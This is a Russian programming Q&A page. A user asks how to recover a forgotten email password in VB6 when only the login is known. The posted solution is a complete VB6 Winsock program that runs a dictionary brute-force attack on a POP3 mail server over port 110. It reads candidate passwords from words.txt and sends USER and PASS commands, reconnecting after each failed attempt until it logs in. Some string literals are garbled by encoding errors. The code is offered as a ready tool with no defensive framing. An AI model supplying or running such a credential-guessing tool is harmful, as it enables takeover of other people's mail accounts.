Возможно ли с помощью VB6 вытащить пароль, если я знаю логин?

Узнай цену своей работы

Формулировка задачи:

Припустим я забыл пароль к моему е-майлу. Возможно ли с помощью VB6 вытащить пароль, если я знаю логин???

Решение задачи: «Возможно ли с помощью VB6 вытащить пароль, если я знаю логин?»

textual
Листинг программы
  1. Dim m_state As Integer
  2. Dim begin As Boolean
  3.  
  4. Private Sub cmdRefresh_Click()
  5. lstWords.Clear
  6. GetPassList
  7. End Sub
  8.  
  9. Private Sub Command1_Click()
  10. If begin = True Then
  11. Winsock1.LocalPort = 0
  12. Winsock1.Connect txtHost.Text, 110
  13. lstWords_Click
  14. m_state = 0
  15. Command1.Caption = 'ГЋГ±ГІГ*Г*îâèòü'
  16. begin = False
  17. ElseIf begin = False Then
  18. Winsock1.Close
  19. begin = True
  20. Command1.Caption = 'ГЌГ*Г·Г*ГІГј'
  21. End If
  22. End Sub
  23.  
  24. Private Sub Form_Load()
  25. On Error Resume Next
  26. txtPath.Text = App.Path + 'words.txt'
  27. begin = True
  28. GetPassList
  29. End Sub
  30.  
  31. Private Sub lstWords_Click()
  32. txtPassN.Text = lstWords.ListIndex + 1
  33. End Sub
  34.  
  35. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  36.         Dim strData As String
  37.    
  38.  
  39.     Winsock1.GetData strData
  40.     Debug.Print strData
  41.    
  42.     If Left$(strData, 1) = '+' Then
  43.     If Mid(strData, 1, 4 + Len(txtUserName.Text)) = '+OK ' & txtUserName.Text And InStr(1, strData, ')') <> 0 Then
  44.     MsgBox 'ГЏГ*ðîëü Г*Г*éäåГ*'
  45.     Command1.Caption = 'ГЌГ*Г·Г*ГІГј'
  46.     Exit Sub
  47.      End If
  48.     Debug.Print strData
  49.    
  50.         Select Case m_state
  51.             Case 0
  52.                 intMessages = 0
  53.                 m_state = 1
  54.                 Winsock1.SendData 'USER ' & txtUserName.Text & vbCrLf
  55.                Debug.Print 'USER ' & txtUserName.Text
  56.            Case 1
  57. sn:
  58.             lstWords_Click
  59.             If Len(lstWords.Text) >= Val(txtMinL.Text) Then
  60.                       Winsock1.SendData 'PASS ' & lstWords.Text & vbCrLf
  61.                Debug.Print 'TestPASS ' + lstWords.Text
  62.             Else
  63.              lstWords.ListIndex = lstWords.ListIndex + 1
  64.              GoTo sn
  65.              End If
  66.                  lstWords_Click
  67.                  
  68.     End Select
  69.     ElseIf Left$(strData, 1) = '-' Then
  70.    Winsock1.Close
  71.     Winsock1.LocalPort = 0
  72.     lstWords_Click
  73.     lstWords.ListIndex = lstWords.ListIndex + 1
  74. Winsock1.Connect txtHost.Text, 110
  75. m_state = 0
  76.  
  77.     Else
  78.         Debug.Print strData
  79.     End If
  80.  
  81. End Sub
  82.  
  83. Private Sub GetPassList()
  84. lstWords.Clear
  85. ff = FreeFile
  86. Open txtPath.Text For Input As #ff
  87. Do Until EOF(ff)
  88. Input #ff, wrd
  89. lstWords.AddItem wrd
  90. Loop
  91. Close
  92. lstWords.ListIndex = 0
  93. End Sub

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

8   голосов , оценка 4.5 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут